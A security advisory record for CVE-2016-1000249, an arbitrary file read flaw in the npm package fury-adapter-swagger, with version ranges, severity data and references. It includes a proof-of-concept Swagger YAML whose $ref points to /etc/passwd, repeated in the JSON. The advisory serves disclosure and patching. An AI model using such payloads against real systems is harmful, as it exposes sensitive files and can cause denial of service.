GHSA-2R7F-4H2C-5X73

Vulnerability from github – Published: 2020-09-01 16:38 – Updated: 2023-09-11 16:45
VLAI?
Summary
fury-adapter-swagger allows arbitrary file read from system
Details

fury-adapter-swagger from version 0.2.0 until version 0.9.7 has a weakness that allows an attacker to read arbitrary files off of the system. This can be used to read sensitive data, or to cause a denial of service condition by attempting to read something like /dev/zero.

Proof of Concept:

---
swagger: '2.0'
info:
  title: Read local files
  version: '1.0'

paths:
  /foo:
    get:
      responses:
        200:
          description: Some description
          examples:
            text/html:
              example:
                $ref: '/etc/passwd'

Recommendation

Upgrade to version 0.9.7 or later.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "fury-adapter-swagger"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.2.0"
            },
            {
              "fixed": "0.9.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2016-1000249"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-08-31T18:18:37Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "`fury-adapter-swagger` from version 0.2.0 until version 0.9.7 has a weakness that allows an attacker to read arbitrary files off of the system. This can be used to read sensitive data, or to cause a denial of service condition by attempting to read something like `/dev/zero`.\n\n## Proof of Concept:\n\n```yaml\n---\nswagger: \u00272.0\u0027\ninfo:\n  title: Read local files\n  version: \u00271.0\u0027\n\npaths:\n  /foo:\n    get:\n      responses:\n        200:\n          description: Some description\n          examples:\n            text/html:\n              example:\n                $ref: \u0027/etc/passwd\u0027\n```\n\n\n## Recommendation\n\nUpgrade to version 0.9.7 or later.",
  "id": "GHSA-2r7f-4h2c-5x73",
  "modified": "2023-09-11T16:45:35Z",
  "published": "2020-09-01T16:38:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apiaryio/fury-adapter-swagger/pull/89"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apiaryio/fury-adapter-swagger/commit/777e2d68f03546a88f3203bbd4725df8b1f662a7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apiaryio/fury-adapter-swagger/commit/f4407e3a5323bc31123d45dbc93b8417002e4d51#diff-54c345dc104dc19440f9c2482b7883df820e8b9b699fdd8fa07e2773e7197a29"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apiaryio/fury-adapter-swagger"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/npm:fury-adapter-swagger:20161024"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/305"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "fury-adapter-swagger allows arbitrary file read from system"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…